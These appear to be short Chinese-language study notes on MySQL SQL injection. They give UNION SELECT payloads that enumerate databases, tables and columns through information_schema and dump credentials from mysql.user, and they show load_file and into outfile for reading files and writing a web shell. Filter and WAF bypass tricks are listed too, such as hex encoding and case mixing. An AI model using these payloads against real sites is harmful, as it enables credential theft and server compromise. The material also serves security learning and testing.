跨库注入
数据库中的information_schema:
tables表中记录着所有的表:
schemata表记录所有数据库名union select 1,2,group_concat(schema_name) from information_schema.schemata
获取所有数据库名字
获取数据库名为"mysql"的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“mysql”
获取数据库为mysql中的表为user的所有字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“mysql” and table_name=‘user’
获取表中指定数据
union select 1,2,group_concat(User,Password) from mysql.user
文件读写
- load_file(): 读取函数
- into outfile 或 into dumpfile: 导出函数
路径常见的读写方法:
select load_file(“e:/a.txt”);
select “write” into outfile “e:/a.txt”;
通过读写文件来执行相关的语句如写入一句话木马和查看系统本地重要文件等危险操作
但读文件和写文件都需要直到网站路径,即通过一些手段来查询网站路径是很关键的
一般查询为:
- 报错显示
- 遗留文件如phpinfo
- 漏洞报错 (通过网上查询如:phpmyasmin爆路径)
- 平台配置文件 (存在默认安装路径如apache)
- 爆破等
魔术引号
当开启magic_quotes_gpc=On或使用addslashes()函数时会对个别字符进行转移因此采取绕过的方法
编码绕过
转换成hex成功绕过
防御机制
内置函数
类型判断如:判断是否为Int类型(无法绕过)
过滤关键字
把关键字select 过滤为fuck这种可以采取他的不严谨型进行绕过如采用大写Select
waf
- 更改提交方法
- 大小写混合
- 解密编码类
- 注释符混用
- 等价函数替换
- 特殊符号混用
- 借助数据库特性
- HTTP参数污染
- 垃圾数据溢出等